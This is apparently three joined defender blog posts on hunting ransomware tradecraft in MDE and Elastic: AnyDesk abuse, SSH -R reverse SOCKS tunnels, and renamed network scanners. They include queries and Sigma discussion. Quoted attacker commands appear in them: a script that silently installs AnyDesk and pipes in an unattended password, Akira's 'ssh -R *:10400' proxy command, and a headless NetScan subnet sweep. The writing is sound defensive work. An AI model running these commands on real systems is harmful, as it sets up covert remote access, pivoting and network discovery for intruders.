That is the whole problem in one line.

AnyDesk appears in more ransomware toolsets than any other remote-access tool. 32 groups in the Ransomware Tool Matrix, the longest row in the table by a wide margin. Akira is one of the 32, confirmed by CISA in AA24-109A, and Akira intrusions have gone from initial access to encryption in under four hours. Fog uses it too. It is signed, it is legitimate, and that is exactly why it works: your tooling sees a real tool doing a real thing.

That Medium only exists because AnyDesk is rare in your tenant; in a shop that actually runs AnyDesk, even that signal is gone. So the alert, when you get one, tells you AnyDesk is present. It does not tell you whether it is your help desk or your attacker. The answer is in the tool’s own behavior and the files it writes to disk, and it is the point of this piece.

I ran AnyDesk in my lab the way ransomware crews run it, both the attended fake-IT-call version and the unattended service install Fog deploys, tested every query below in MDE, and pulled the forensic artifacts by hand.

By the end you will hunt AnyDesk by behavior instead of filename, and tell legit from planted in minutes. And if it is planted, you will know exactly which files name the operator, and how to grab them before a reimage erases them. Start with how it lands, because that decides what you hunt for and what you collect.

How AnyDesk lands: two ways, and the split decides everything

Get this wrong and you go hunting for artifacts that were never written. AnyDesk lands on a machine two ways, and each leaves a different set of evidence, so before you write a single query you need to know which one you are looking at. I ran both in the lab so you do not have to.

The attended way (non-admin, portable)

The operator talks a user into running a portable AnyDesk out of their own profile. No install, no admin. In my lab it arrived as Invoice_Viewer.exe, dropped into %TEMP% (C:\Users\<user>\AppData\Local\Temp), and launched straight from there. The operator dials the victim’s AnyDesk ID, and the victim has to click Accept for the session to open. This is the vishing variant: “I’m from IT, run this so I can fix your machine.” Because nothing is installed and nothing is elevated, it keeps its config and trace files under %APPDATA%\AnyDesk\ and writes no registry persistence at all.

The attended session cannot open until the victim clicks Accept; this prompt is the whole social-engineering step.

The unattended way (admin, service)

This is how Fog and most ransomware crews deploy it, after they already hold local admin. The DFIR Report’s “Navigating Through the Fog” documents the exact sequence, automated by a PowerShell script (any.ps1): make the folder, download the binary, install it as a service, then set an unattended password by piping it in.

mkdir "C:\ProgramData\AnyDesk"
(new-object System.Net.WebClient).DownloadFile('http://download[.]anydesk[.]com/AnyDesk.exe','C:\ProgramData\AnyDesk.exe')
C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
echo Admin#123 | C:\ProgramData\anydesk.exe --set-password

Now the operator connects with that password and nobody clicks anything. The session just opens. It registers a service (HKLM\...\Services\AnyDesk, Automatic start), writes its trace under %PROGRAMDATA%\AnyDesk\, and survives every reboot. That is persistence, not a phone call.

The split in one frame: left still waiting on Accept, right already connected under an “Unattended Access” profile.

Hold onto the two trace paths in that table, because they decide where you look later: search the wrong one and you will conclude there is no evidence when there is. And the split is the spine of the whole piece: a password set from the command line plus a service that survives reboot is persistence, the ransomware path; a user clicking Accept on a portable is social engineering, the phishing path.

Now that you know what it does on the box, here is how to find it in MDE without trusting the one thing the attacker controls: the filename.

Subscribe now

Hunt it in MDE: stop trusting the filename

The attacker’s first move against your detections is the laziest one that works: rename the binary. AnyDesk.exe becomes Invoice_Viewer.exe, and every rule keyed on FileName == "anydesk.exe" goes quiet. So you stop hunting the name and hunt what the attacker did not bother to change.

The field that fires on nothing

Here is where I burned myself, and it is worth two minutes because it is the exact mistake that ships a dead rule.

The renamed binary still carries AnyDesk’s PE version-info. My instinct was to harden onto OriginalFileName, the field that is supposed to survive a rename because it is compiled into the PE. I wrote the rule, pointed it at real lab telemetry, and it matched nothing. Zero rows.

AnyDesk does not populate OriginalFileName. It is empty. The field everyone reaches for first is the one field AnyDesk leaves blank, and a rule built on it fires on nothing while looking perfectly reasonable in review. The three fields that are populated, and do survive the rename:

• CompanyName = “AnyDesk Software GmbH”

• ProductName = “AnyDesk”

• FileDescription = “AnyDesk”

Right-click Properties on Invoice_Viewer.exe: File description AnyDesk, Product name AnyDesk, Copyright AnyDesk Software GmbH. The rename never touched the fields that matter.

If you started from the SigmaHQ AnyDesk rules, you were already safe, because they key on exactly those three. The lesson is about the field, not Sigma: before you bet a detection on a PE field, confirm your binary actually sets it. Validate on real telemetry, or you ship a rule that quietly never fires.

1. Identity: what the rename could not change

Here is the working hunt: rename-proof identity, restricted to the user-writable paths where a portable remote-management (RMM) tool has no business running.

DeviceProcessEvents
| where Timestamp > ago(1d)
// rename-proof AnyDesk identity - OriginalFileName is EMPTY for AnyDesk, do NOT use it
| where ProcessVersionInfoCompanyName == "AnyDesk Software GmbH"
    or ProcessVersionInfoProductName == "AnyDesk"
    or ProcessVersionInfoFileDescription == "AnyDesk"
| where FolderPath contains @"\Users\" or FolderPath contains @"\Downloads\"
    or FolderPath contains @"\AppData\" or FolderPath contains @"\Temp\"
    or FolderPath contains @"\ProgramData\" or FolderPath contains @"\Public\"
| where FolderPath !startswith @"C:\Program Files"
| project Timestamp, DeviceName, AccountName, FileName, FolderPath,
          ProcessVersionInfoCompanyName, ProcessVersionInfoFileDescription,
          ProcessVersionInfoProductName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc

In the lab this returned 35 events, and it caught both faces of the same tool: Invoice_Viewer.exe running from ...\AppData\Local\Temp\ and the untouched AnyDesk.exe from C:\ProgramData\, side by side, every row stamped “AnyDesk Software GmbH.”

2. Rarity: how many hosts have ever run it

Now narrow it to what is suspicious. A sanctioned RMM is deployed everywhere or nowhere; a planted one lands on one or two machines. So drop the path filter, widen to 30 days, summarize by filename, and keep only what ran on three hosts or fewer.

Two rows in my lab, AnyDesk.exe on one host and Invoice_Viewer.exe on one host, both well under the threshold. Prevalence beats signatures for RMM abuse: instead of matching a name, you are asking how many of your machines have ever run something carrying AnyDesk’s fingerprints, and a renamed copy on a single endpoint is the answer that should stop you.

3. Behavior: the piped password

Presence and rarity tell you AnyDesk is here and unusual. The next query is the highest-fidelity AnyDesk tell there is: the unattended-password setup from the last section. A person never produces it. Setting that password by hand is Settings > Access > Set password, which never touches the command line, so a piped --set-password is always something scripted.

DeviceProcessEvents
| where Timestamp > ago(1d)
| where ProcessCommandLine contains "--set-password"
    or (InitiatingProcessCommandLine contains "set-password"
        and InitiatingProcessCommandLine has "echo")
| project Timestamp, DeviceName, AccountName, FileName, FolderPath,
          ProcessVersionInfoCompanyName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp asc

Six hits, and the command line is the evidence: cmd.exe /c "echo Admin#123 | ...\AnyDesk.exe --set-password", the password sitting in plaintext. This one does not care about the rename, because it keys on the command line, not the file.

One caveat before you alert on it. AnyDesk documents this same piped command for mass deployment, so baseline your own rollout first. The two look nothing alike:

• Sanctioned rollout: many hosts inside one change window, parented by your deployment agent.

• Operator: one or two hosts, parented by powershell.exe into cmd.exe.

• No AnyDesk in your estate: nothing to baseline. This is your smoking gun.

4. Destination: it cannot rename the relay

AnyDesk cannot rename its destination. An attacker can strip the PE metadata as well as rename the file, but every client still bootstraps to boot.net.anydesk.com and then a relay-*.net.anydesk.com server, and that is a fact about AnyDesk’s infrastructure, not about the binary the attacker controls.

So pivot to DeviceNetworkEvents and match RemoteUrl endswith ".anydesk.com". In the lab the renamed invoice_viewer.exe lit up hitting relay-*.net.anydesk.com on 443, and the same match caught the stage before runtime: curl.exe pulling the payload from download.anydesk.com.

Baseline *.net.anydesk.com across your fleet once. After that, any host reaching it that you did not sanction is a lead, even when the process name is a lie.

One query, the full chain: curl.exe → download.anydesk.com, then invoice_viewer.exe reaching boot.net.anydesk.com and relay-*.net.anydesk.com.

Four queries, four angles: identity, rarity, behavior, destination. Together they move you from “is AnyDesk here” to “it is here, on one box, with a password piped into it, calling an AnyDesk relay.” That is no longer a maybe.

All four are copy-pasteable in the hunt pack, so you do not have to retype them off a screenshot: github.com/Securityinbits/defender-hunt-queries.

A faster first pass: SigmaHQ

You do not have to run any of this cold. SigmaHQ ships AnyDesk rules that key on the same three rename-proof PE fields, so the community ruleset already survives the Invoice_Viewer.exe trick out of the box, and it is platform-independent. I loaded it into my lab’s SIEM and watched seven AnyDesk rules fire across both scenarios from the sections above:

If you operationalize only two, take Piped Password Via CLI and Service Installation: they key on scripted setup rather than anything a user clicks, so once you have excluded your own deployment they belong in the alert queue.

Share

Execution and Temporary Artefact sit at the other end; in a shop with sanctioned AnyDesk they hum constantly, so route them to a hunting view.

One gap worth knowing: the suspicious-folder rule excludes \AppData\, and %TEMP% lives under \AppData\Local\Temp. In my lab it never fired on the portable scenario, only on the C:\ProgramData install. That blind spot is exactly what the path filter in the first query covers. All seven rules live in the SigmaHQ repo under rules/windows.

Sigma and KQL answer the same question: is AnyDesk running here. Neither answers the one you actually need in an incident, which is whether this is your help desk or your attacker.

You found it. Work the host before it is gone.

Your queries have put AnyDesk on a specific box, behaving like an operator tool. Detection is done. Everything from here lives on the host, in files AnyDesk writes about itself, and every one of them dies the moment someone reimages the machine. Pull them first.

connection_trace.txt: how they got in

AnyDesk logs every incoming session to connection_trace.txt (%APPDATA%\AnyDesk\ for a portable run, %PROGRAMDATA%\AnyDesk\ for the service). Each line records the approval:

• Passwd or Token: unattended access. Someone set a password, or stored one, so they could come back without asking.

• User: a human clicked Accept.

That field decides your remediation: kill a password and a service, or retrain a user and hunt the lure. Same tool, same operator, two entirely different incidents. In my lab the same operator ID hit both hosts, and the two traces tell the two stories in one line each. The portable host: Incoming 2026-06-26, 11:19 User, a person clicked Accept that morning. The service host: Passwd at 15:41, then Token at 15:42, the operator walking in and coming back with nobody at the keyboard.

What it does not decide on its own is legitimacy. Your help desk shows User when they call a user, and a sanctioned rollout shows Passwd. That read is the hunt you already ran:

• A renamed binary still carrying AnyDesk’s PE metadata?

• One or two hosts instead of the fleet?

• No change window, no deployment agent as the parent?

Three yeses next to Passwd is not your help desk. Read both together before you write a word of the report.

ad.trace: who connected

The network telemetry only ever showed you the AnyDesk relay, never the operator, so the SIEM looks like a dead end. It is not. AnyDesk writes the operator’s source IP to disk itself. Open the trace file, ad.trace (portable) or ad_svc.trace (service), and search for Logged in from:

The Logged in from line, straight out of ad_svc.trace on the victim host.

This is the reliable source: the relay reports the operator’s egress IP on every login, even when the session never leaves the relay. That IP is the operator’s infrastructure or egress, a VPS, VPN, or NAT. It is a pivot and block IOC, not attribution to a person.

There is a second, opportunistic way to the same IP that does not need the file. AnyDesk prefers a direct peer-to-peer link (TCP 7070) and tries to punch straight to the operator’s public IP before falling back to the relay. When your firewall blocks that punch, the attempt logs as ConnectionFailed, to the operator’s real IP, in your EDR. Hunt the failures, not the successes.

The caveat: a careful operator unchecks “Allow direct connections” and forces relay-only, and the IP never appears. Strict egress can skip the direct attempt entirely. The trace file is the source you rely on; this is the bonus.

The ConnectionFailed hunt: anydesk.exe 2 attempts on ports 7070/51703, invoice_viewer.exe 4 attempts on 7070/64004/49439, all to the operator’s public IP.

file_transfer_trace.txt: what left

AnyDesk has a built-in file manager, and it is a clean exfil channel: no web proxy hit, no email DLP trigger. When a transfer happens, it logs every one to file_transfer_trace.txt, in the same config directory, in plaintext.

Filename, size, direction, timestamps. Put it against the connection trace and the timeline writes itself: Passwd login at 15:41, and by 15:46 a 231 MiB documents.zip had left the host. Five minutes from unattended access to completed exfil, and the tool documented every step of it. No packet capture needed to prove data walked out.

You have AnyDesk on one host, carrying its own fingerprints, set up with a piped password (Passwd in the trace), calling an AnyDesk relay, with the operator’s egress IP on disk and a plaintext receipt for the 231 MiB they took. That is not your help desk. That is a scoped incident with a pivot IOC and an exfil list, collected before the reimage.

Run this before your next shift

If your enterprise does not run AnyDesk and you see AnyDesk, that alone is your investigation, so start it. If it does run AnyDesk, the same evidence still sorts legit from planted.

None of this needs a new product:

• Four MDE queries - identity, rarity, behavior, destination.

• Seven SigmaHQ rules you already have.

• Three files on the host - connection_trace.txt, ad.trace, file_transfer_trace.txt.

Run the queries before your next shift. If they come back quiet, you have a clean baseline. If they do not, you know exactly what to pull, and in what order, before someone reimages the evidence.

I have put the full AnyDesk hunt pack in one place, every KQL query here and the SigmaHQ rules I watched fire, so you can lift it in one go: github.com/Securityinbits/defender-hunt-queries.

That Medium alert will still read “Uncommon remote access software,” and the next analyst to see it will still be tempted to think probably IT and close it. The difference is what you do in the ten minutes after. Run the four queries. Read the approval field in connection_trace.txt. You will know whether it was the help desk or the operator before the box gets reimaged.

P.S. AnyDesk is the tool most ransomware crews reach for, but not the only one. ScreenConnect and Atera get the same treatment, emulated, validated, and turned into queries, in the next issues.

Leave a comment

You’ve probably closed that alert before. A green ssh.exe, a -R you read as port forwarding, “admin activity” in the notes, and you moved on, because the process event gave you nothing to argue with. The process event always backs you up. That’s the problem.

Here is what it backed up. In a July 2025 intrusion documented by The DFIR Report, Akira’s operators turned a compromised host into a SOCKS proxy with almost exactly this command, ssh root@<host> -R *:10400. They ran a renamed scanner through it, mapped the internal estate, dumped credentials, stole data, and deployed ransomware in under 44 hours. None of it crossed the wire in plaintext. All of it rode inside an encrypted channel your EDR records as a single process: ssh.exe. Whatever the attacker ran next, the command line still said ssh.exe and nothing else.

So escalating the alert doesn’t help. You pull the process event and you still can’t prove the tunnel is a pivot. NetExec, nmap, lateral movement, all of it executes inside the tunnel, out of reach of the command line that’s supposed to tell you what ran.

The tunnel is opaque, but it isn’t silent. Whatever moves through it leaves a shape: how many destinations, how many ports, how many connections failed. That shape is usually enough to tell a forward from a sweep, and your EDR is already logging every field you need to read it.

This article is about how far that shape gets you, the exact point it stops, and what you fall back on when it does.

1. Why SSH -R Gets Missed

Lab topology. The compromised host (DESKTOP-HR) opens a reverse SSH tunnel to the external C2, which exposes a SOCKS proxy on port 10400. The attacker drives internal connections back through the tunnel, and those connections originate from DESKTOP-HR. That origin is what puts them under ssh.exe in endpoint telemetry.

SSH has three forwarding modes, and the gap between them is the whole story:

• -L is a local port forward with a fixed destination.

• -R is a remote port forward. It also takes a fixed destination, but if you leave the destination off, it becomes a SOCKS proxy.

• -D is a local dynamic SOCKS proxy.

The dangerous case is -R with no destination after the port. That is not the port forwarding most people picture. Since OpenSSH 7.6, giving -R a bind and a port but no target tells SSH to open that remote port as a SOCKS 4/5 proxy. The name for this is reverse dynamic forwarding. A remote client speaks SOCKS to the port, asks for host:port, and SSH dials that connection for it. The dial happens from the compromised host.

Your whole detection rests on that one fact. The outbound connections come from the machine running ssh.exe, not from the C2 box. SOCKS is a generic relay underneath, indifferent to whether the bytes are HTTP, SMB, or RDP. It connects and it pipes.

Take the Akira command apart, ssh root@<host> -R *:10400:

• * binds the listener to every interface on the C2 host instead of loopback only. The server’s GatewayPorts setting decides whether that bind is even permitted.

• 10400 is the port the SOCKS proxy listens on, over on the C2.

The same -R SOCKS mechanism shows up in benign work and in attacks. A destination-less -R is not a verdict by itself. An operator can stand up this exact proxy for perfectly good reasons, and plenty do. If you walked in believing “destination-less means malicious,” Section 4 is where that breaks.

The proxy is live on the C2. So what moves through it, and why is it invisible to you?

2. This Isn’t Just Akira

One credibility check before the detection work: this is a recurring pattern, not an Akira habit.

SSH and SOCKS tunneling for pivoting and C2 turns up across the last three years of intrusion reporting, in Akira, in BlackCat/ALPHV, and in RansomHub activity spanning 2023 to 2025. CISA has named Akira’s use of tunneling utilities for C2 that slips past the perimeter. The precise ssh -R *:10400 reverse-dynamic-forwarding command only appears in The DFIR Report’s writeup; the rest of the corpus documents the broader behavior, including SSH tunneling, SOCKS proxying, and utilities such as Ngrok, Chisel, and Ligolo-ng.

Two MITRE ATT&CK techniques describe what this -R setup does. The encrypted SSH channel that carries the traffic is T1572 (Protocol Tunneling). The SOCKS proxy relaying internal connections on the attacker’s behalf is T1090 (Proxy), and because the relay runs on an attacker-controlled host outside the victim network, it falls specifically under T1090.002 (External Proxy). The detection here keys on the behavior rather than on one command string, which is why it carries past any single group.

3. From Sigma Logic to MDE Hunting: the blind spot

Start from the published Sigma rule, Port Forwarding Activity Via SSH.EXE. It checks that the image ends in ssh.exe and the command line contains -R. It fires correctly, and it ships with a false-positive note about legitimate admin port forwarding, because it matches on the string rather than the behavior. It has no way to tell an admin apart from an attacker.

Convert it to a process query and run it. Process creation gives you intent: ssh.exe launched with -R.

KQL (MDE, DeviceProcessEvents)

DeviceProcessEvents
| where Timestamp > ago(1h)
| where FileName =~ "ssh.exe"
| where ProcessCommandLine matches regex @"\s-\w*R" 
| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName,
    InitiatingProcessVersionInfoProductVersion, InitiatingProcessIntegrityLevel
| order by Timestamp asc

Subscribe now

Notice the filter is a regex (\s-\w*R) rather than contains "-R". That matters because attackers tend to bundle the flag into a no-argument cluster like -NR, -fNR, or -fNTR to background the tunnel, and the regex still catches the -R inside those. It is capital-R only and case-sensitive on purpose.

ES|QL (Elastic, Sysmon EID 1 / ECS)

FROM logs-windows.sysmon_operational-default
| WHERE @timestamp > NOW() - 1 hours
| WHERE event.code == "1"
| WHERE process.name == "ssh.exe"
| WHERE process.command_line RLIKE """.*\s-[A-Za-z]*R.*"""
| KEEP @timestamp, host.name, process.name, process.command_line,
       process.parent.name, process.parent.command_line,
       user.name, winlog.event_data.IntegrityLevel
| SORT @timestamp ASC
| LIMIT 1000

Most writeups stop right here: ssh.exe plus -R, suspicious, go monitor for it.

The trouble is that the process event proves presence, not pivot. The initiating process reads ssh.exe for every move the attacker makes. NetExec, nmap, curl, lateral movement, none of them surface in a command line, because they run inside the encrypted tunnel.

If the process can’t prove it, the network has to.

4. Proving the Pivot in Network Telemetry

You don’t have to see the tool. You read what it leaves behind.

While ssh.exe is acting as the SOCKS client, each outbound connection it opens for the proxy lands in network telemetry, tagged with ssh.exe as the initiating process and the compromised host as the local IP. The tunneled tool’s command line is still nowhere in sight, and that absence is exactly the problem you started with. But the traffic’s shape does show up, and the shape carries enough.

KQL (MDE, DeviceNetworkEvents)

DeviceNetworkEvents
| where Timestamp > ago(1h)
| where InitiatingProcessFileName =~ "ssh.exe"
| where InitiatingProcessCommandLine matches regex @"\s-\w*R" 
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
    LocalIP, LocalPort, Protocol,
    InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName,
    InitiatingProcessVersionInfoProductVersion, InitiatingProcessIntegrityLevel
| order by Timestamp asc

ES|QL (Elastic, Sysmon EID 3)

Elastic puts a structural wrinkle in front of you here, and it is worth understanding rather than fighting. Sysmon spreads the evidence over two event types. EID 1 (process start) holds the -R command line. EID 3 (network connection) holds the destinations but carries no command line at all. On its own, neither event proves the pivot. The fix is to filter EID 3 by image and stitch it back to the start event on process.entity_id, the Sysmon ProcessGuid.

// EID 3 has no CommandLine field — filter by image only, pivot via process.entity_id
FROM logs-windows.sysmon_operational-default
| WHERE @timestamp > NOW() - 1 hour
| WHERE event.code == "3"
  AND process.name == "ssh.exe"
| KEEP @timestamp, host.name, destination.ip, destination.port, destination.domain,
       source.ip, source.port, network.transport,
       process.name, process.entity_id, user.name
| SORT @timestamp ASC
| LIMIT 1000

The aggregation: the cardinality and churn tell

Now collapse the session into one row and read its shape. This is the query that pulls benign apart from malicious.

KQL (MDE, DeviceNetworkEvents)

DeviceNetworkEvents
| where Timestamp > ago(1h)
| where InitiatingProcessFileName =~ "ssh.exe"
| where InitiatingProcessCommandLine matches regex @"\s-\w*R"
| summarize
    DistinctRemoteIPs = dcount(RemoteIP),
    DistinctRemotePorts = dcount(RemotePort),
    Successes = countif(ActionType == "ConnectionSuccess"),
    Failures = countif(ActionType == "ConnectionFailed"),
    Window = max(Timestamp) - min(Timestamp)
    by DeviceName, InitiatingProcessCommandLine

Three scenarios reproduced in the lab, all of them running ssh.exe from the same Windows host, so all three share a DeviceName and an InitiatingProcessFileName. They collapse into three rows:

Share Securityinbits

Row 1 is a fixed forward to a local service. One IP, one port, every connection succeeds. A forward has its destination baked in, so the shape is one steady line.

Row 2 is destination-less SOCKS, the same mechanism the attack uses, but here an operator points it at a handful of known services. Cardinality stays low, failures stay near zero, the pacing is human.

Row 3 is destination-less SOCKS aimed at sweeping the subnet. Many IPs, many ports, successes and failures churning together inside a tight window. The scanner never appears in the command line, but its footprint here is impossible to miss.

The part most writeups miss

Row 1 and Row 2 are both benign, yet Row 2 is destination-less SOCKS, which is the exact mechanism the attack runs on. So the real discriminator was never “SOCKS or not SOCKS.” Benign SOCKS in Row 2 and the malicious sweep in Row 3 use the identical -R proxy. What pulls them apart is shape: Row 2 stays low-cardinality with almost no failures and operator pacing, while Row 3 sprays across many IPs and ports with success and failure churning in a tight window.

​

Here is the edge that earns the caveat. If a legitimate operator deliberately enumerates through the SOCKS proxy, say an authorized internal scan, the shape will look like the attack, and telemetry on its own cannot tell them apart. That is the precise point where reading the shape runs out.

When it runs out, you fall back on authorization context. A change ticket, a recognized operator, an expected window. Not the proxy type, and not whether the target is internal, since a malicious sweep produces private RemoteIPs just the same. Cardinality and churn do most of the work; context settles the cases shape leaves tied.

ES|QL (Elastic, Sysmon EID 1 + EID 3 correlated by ProcessGuid)

// SSH reverse-tunnel detection (Sysmon EID 1 + EID 3 correlated by ProcessGuid)
FROM logs-windows.sysmon_operational-default
| WHERE @timestamp > NOW() - 1 hour
| WHERE event.code IN ("1", "3")
| WHERE process.name == "ssh.exe"
| EVAL is_tunnel_start = event.code == "1"
    // hyphen flag-cluster containing the -R (remote forward) flag: -R, -NR, -fNR, -fNTR ...
    AND process.command_line RLIKE """.*\s-[A-Za-z]*R.*"""
| STATS tunnel_starts        = COUNT(*) WHERE is_tunnel_start,
        DistinctRemoteIPs    = COUNT_DISTINCT(destination.ip),
        DistinctRemotePorts  = COUNT_DISTINCT(destination.port),
        NetworkConnections   = COUNT(*) WHERE event.code == "3",
        InitiatingProcessCommandLine = VALUES(process.command_line),
        first_seen = MIN(@timestamp),
        last_seen  = MAX(@timestamp)
        BY DeviceName = host.name, process.entity_id
| WHERE tunnel_starts > 0
| EVAL Window = DATE_DIFF("minutes", first_seen, last_seen)
| KEEP DeviceName, InitiatingProcessCommandLine, DistinctRemoteIPs, DistinctRemotePorts,
       NetworkConnections, Window, first_seen, last_seen
| SORT DeviceName ASC
| LIMIT 1000

One platform difference is worth stating outright. MDE’s ActionType splits ConnectionSuccess from ConnectionFailed natively, so a high failure count is a direct read on a scanner banging on closed ports.

Sysmon EID 3 has no success/fail field to match it. In Elastic you get the churn signal from distinct-destination cardinality and raw connection count instead. That is why the KQL aggregation counts failures while the ES|QL aggregation counts distinct destinations and total connections. Same intent, different field model.

Two limits to keep in view before you act on any of this:

• The correlation comes back empty when the tunnel is idle. The network signal needs activity to exist, which is the whole reason the process event is your trigger and the correlation is your confirmation once activity shows up.

• IP reputation is enrichment, never proof. A workstation reverse-tunneling out to a consumer VPS ASN in another country bumps the priority. It does not settle the verdict. Cardinality, churn, and context still have to.

5. From Hunt to Triage Decision

One path you can repeat: process hit, then network correlation, then verdict, with a defined fallback.

1. One stable RemoteIP:RemotePort and no failures points to a fixed forward (Row 1) or benign SOCKS to a known service (Row 2). Verify and write it up.

2. Many distinct RemoteIPs and RemotePorts with success/failure churn inside a tight window is a sweep (Row 3). True positive. Escalate.

3. Low cardinality through a destination-less SOCKS proxy you can’t tie to a known operator is ambiguous on telemetry alone. Settle it on authorization context, the change ticket, the recognized operator, the expected window, not on shape. This is the benign-SOCKS edge: the same mechanism the attack uses, separable only by context.

Enrich the tunnel endpoint while you’re at it. A public external endpoint on an ssh.exe -R session is suspicious because legitimate admin reverse-forwarding usually terminates at a known bastion, a sanctioned jump host, or a documented vendor endpoint. Run the endpoint IP through ASN/hosting org and geolocation. Treat the result as priority, not proof, since attackers use reputable cloud and admins sometimes use a VPS legitimately.

Response checklist once you’ve confirmed a pivot:

1. Isolate the compromised host.

2. Capture the SSH session details: full command line, user, parent process, start time.

3. Identify the remote C2 IP and port, and enrich with ASN and geolocation.

4. Hunt the pattern across the fleet, ssh.exe plus -R plus the cardinality and churn shape on every endpoint.

You can’t see inside the tunnel. You never could.

But you can read what it leaks, the destination cardinality, the port spread, the connection churn, and that read carries you most of the way from “suspicious, unconfirmed” to an actual verdict. The stretch it doesn’t cover now has a name: the authorized scan that wears the attacker’s shape, which only context can separate.

That is the real skill, and it isn’t “ssh.exe -R is bad.” It’s being the analyst who can say where the telemetry stops and the change ticket takes over. That’s the analyst you hand the alert to.

It was never just a tunnel.

Run the correlation hunt against your own fleet inside the hour. The queries above paste straight into MDE and Elastic.

The next breakdown is already in the lab: RMM tooling, how attackers turn it into sanctioned-looking remote access, and the hunt that catches it. Akira doesn’t run one technique. Neither does this series. Each part is one lab-validated hunt you can run the day it drops.

Subscribe so the next one finds you before the intrusion does.

Leave a comment

References

1. From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira - The DFIR Report

2. #StopRansomware: Akira Ransomware | CISA

3. Offensive Security Guide to SSH Tunnels and Proxies - SpecterOps

4. Sigma Rule - Port Forwarding Activity Via SSH.EXE

Ransomware is a discovery problem before it’s an encryption problem. Every group has to map your network before they exfiltrate or encrypt. That mapping step is where the attack is cheap to stop, and 45+ groups do it with the same three tools.

You’ll get two things in this piece:

1. Six queries (KQL for MDE, ESQL for Elastic, across Process, Network, and File events) that hunt SoftPerfect NetScan, Advanced IP Scanner (AIPS), and Advanced Port Scanner (APS). Not Sigma ports. Consolidated multi-signal queries that survive rename, filename strip, and hash change in a single pass.

2. A second signal hiding inside the detection that most defenders miss. A hit on two of these three tools doesn’t just mean “scanner ran.” It proves an interactive attacker session. The query at the end of Section 4 turns that proof into a pivot.

Tested in lab against Sliver C2. Run it in the next hour. Triage today.

1. Why discovery tools are the cheapest win

After initial access, the attacker has to map your network before exfiltration and encryption. That mapping step uses the same handful of tools across 45+ groups. It is the chokepoint.

GitHub - BushidoUK/Ransomware-Tool-Matrix by @BushidoToken catalogs which tools each ransomware group uses. Three names dominate the discovery row.

47 unique threat groups across three tools

Why these three? Signed by recognized vendors. Portable, no installer needed. GUI-driven and visually indistinguishable from sysadmin work at a glance. Speed and familiarity beat custom tradecraft.

Most existing detection rules match on filename. Rename advanced_ip_scanner.exe to chrome_update.exe and the rule breaks. That is the gap this query closes.

2. Shared telemetry signal across all three tools

Rename the binary. Strip the filename. Hash the file differently. Three checks defeated. The vendor metadata baked into the executable at compile time? Still there.

PE (Portable Executable) is the file format every Windows binary uses. The vendor stamps their company name, product name, and description into a header section at compile time. Renaming the file does not touch the version info.

Three signals layer on top of each other.

Signal 1: Vendor metadata (survives renames)

• Famatech signs both Advanced IP Scanner and Advanced Port Scanner.

• SoftPerfect signs NetScan.

• One ProcessVersionInfoCompanyName check catches all three regardless of filename.

Lab evidence: rename advanced_ip_scanner.exe to HealthCheck.exe. Open file properties. CompanyName still reads Famatech. ProductName still reads Advanced IP Scanner. The rename is a one-second defeat against any filename rule. The metadata check holds.

Signal 2: Command-line flag pairs (survives metadata strip)

• /portable + /lng for AIPS and APS. Portable mode skips the installer and runs from any path. The /lng (language) flag almost always travels with it.

• /hide + /auto for NetScan. Headless execution that writes scan output to disk, no GUI required.

Example NetScan headless invocation seen in the wild:

n.exe /hide /auto:C:\Users\Public\scan_results.xml /range:192.168.72.1-192.168.72.254

• /hide runs NetScan with no GUI.

• /auto:<file> auto-runs the scan and writes XML output to that path.

• /range: defines the subnet sweep range

Signal 3: Network sweep scan (survives everything)

One host hitting 50+ private IPs across 3+ ports inside 5 minutes is not normal user behavior. This signal catches the activity even if the binary is fully renamed and the metadata is stripped. Tool-agnostic.

3. The combined hunt query

These are not one-to-one Sigma ports. Three tools. One query for each event type.

• Vendor metadata catches the renames.

• Command-line flags catch the headless runs.

• Network thresholds catch the sweep shape.

• Folder paths catch the install artifacts.

Two SIEMs, copy-paste ready.

KQL (Microsoft Defender for Endpoint)

Process events

Catches: any of the three tools by vendor, product, description, or flag pair.

Tune: time window (default 30d). Otherwise leave alone.

let CompanyKeywords = dynamic(["Famatech", "SoftPerfect"]);
let ProductKeywords = dynamic(["Advanced IP Scanner", "Advanced Port Scanner", "Network Scanner"]);
let DescKeywords    = dynamic(["Advanced IP Scanner", "Advanced Port Scanner", "Application for scanning networks"]);
DeviceProcessEvents
| where Timestamp > ago(30d)
| where ProcessVersionInfoCompanyName has_any (CompanyKeywords)
    or ProcessVersionInfoProductName has_any (ProductKeywords)
    or ProcessVersionInfoFileDescription has_any (DescKeywords)
    or ProcessCommandLine has_all ("/portable", "/lng")
    or ProcessCommandLine has_all ("/hide", "/auto")
| project
    Timestamp, DeviceName, AccountName, FileName,
    ProcessCommandLine, ProcessVersionInfoCompanyName,
    ProcessVersionInfoProductName, ProcessVersionInfoFileDescription,
    SHA256, InitiatingProcessFileName,
    InitiatingProcessCommandLine, InitiatingProcessParentFileName

Network events

Catches: any process making rapid connections to many private IPs across multiple ports. Tool-agnostic, so it survives binary renames AND metadata stripping.

Tune: ipThreshold and portThreshold for your environment. Default 50 IPs / 3 ports per 5-minute bucket.

let startTime = datetime(2026-04-02T03:00:00);
let endTime   = datetime(2026-05-06T10:00:00);
let ipThreshold   = 50;
let portThreshold = 3;
let bucket = 5m;
DeviceNetworkEvents
| where Timestamp between (startTime .. endTime)
| where RemoteIPType == "Private"
| where ActionType startswith "Connection"
| summarize
    DistinctIPs   = dcount(RemoteIP),
    DistinctPorts = dcount(RemotePort),
    SampleIPs     = make_set(RemoteIP, 10),
    SamplePorts   = make_set(RemotePort, 10),
    FirstSeen     = min(Timestamp),
    LastSeen      = max(Timestamp)
    by DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256, bin(Timestamp, bucket)
| where DistinctIPs >= ipThreshold and DistinctPorts >= portThreshold
| sort by DistinctIPs desc

File events

Catches: AIPS and APS install artifacts in their default folders. NetScan is already covered by the process query.

Tune: folder path patterns if attackers stage to non-default locations.

DeviceFileEvents
| where Timestamp > ago(30d)
